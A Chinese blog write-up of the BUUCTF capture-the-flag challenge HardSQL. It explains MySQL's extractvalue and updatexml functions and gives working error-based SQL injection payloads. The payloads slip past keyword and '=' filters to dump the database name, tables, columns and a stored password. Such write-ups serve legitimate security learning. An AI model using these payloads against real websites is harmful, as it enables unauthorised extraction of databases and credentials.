zoukankan      html  css  js  c++  java
  • SQL报错注入-[极客大挑战 2019]HardSQL

    记录一下报错注入的几个函数和用法

    报错注入常用的函数

    函数 描述

    extractvalue

    使用XPath表示法从XML字符串中提取值
    updatexml 返回替换的XML片段

    extractvalue函数

    ExtractValue(xml_frag, xpath_expr)

    ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

    第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数格式书写错误的话就会出现报错信息,那么我们可以在第二个参数中注入一些sql语句从而能够在报错信息中得到我们想要的数据。

    updatexml函数

    UpdateXML(xml_target, xpath_expr, new_xml)

    xml_target:: 需要操作的xml片段

    xpath_expr: 需要更新的xml路径(Xpath格式)

    new_xml: 更新后的内容

    此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

    例子:

    mysql> SELECT
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
        ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5

    结果:

    ***********结果**************
    val1: <e>fff</e>
    val2: <a><b>ccc</b><d></d></a>
    val3: <a><e>fff</e><d></d></a>
    val4: <a><b>ccc</b><e>fff</e></a>
    val5: <a><d></d><b>ccc</b><d></d></a>
    

      这样我们就可以在第二个参数中注入一些SQL语句来得到我们想要的数据

    实战

    [极客大挑战 2019]HardSQL

    题目来源:BUUCTF-WEB

    https://buuoj.cn/challenges

    试了一下and、select、--等关键字都被过滤了,但是有报错信息,可以试试报错注入

     

     爆数据库:

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23

     爆表:(这里'='被过滤,使用like进行绕过)

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
    

      

     爆字段:

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

     找password:

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

     这里只显示了一部分,使用right()多找几次就可以找到全部flag

     

     拼接一下就可以得到完整的flag

    参考

    https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

    https://blog.csdn.net/weixin_43952190/article/details/107096009

    https://blog.csdn.net/u011718707/article/details/107405676

  • 相关阅读:
    leetcode 190 Reverse Bits
    vs2010 单文档MFC 通过加载位图文件作为客户区背景
    leetcode 198 House Robber
    记忆化搜索(DP+DFS) URAL 1183 Brackets Sequence
    逆序数2 HDOJ 1394 Minimum Inversion Number
    矩阵连乘积 ZOJ 1276 Optimal Array Multiplication Sequence
    递推DP URAL 1586 Threeprime Numbers
    递推DP URAL 1167 Bicolored Horses
    递推DP URAL 1017 Staircases
    01背包 URAL 1073 Square Country
  • 原文地址:https://www.cnblogs.com/s1awwhy/p/13719650.html
Copyright © 2011-2022 走看看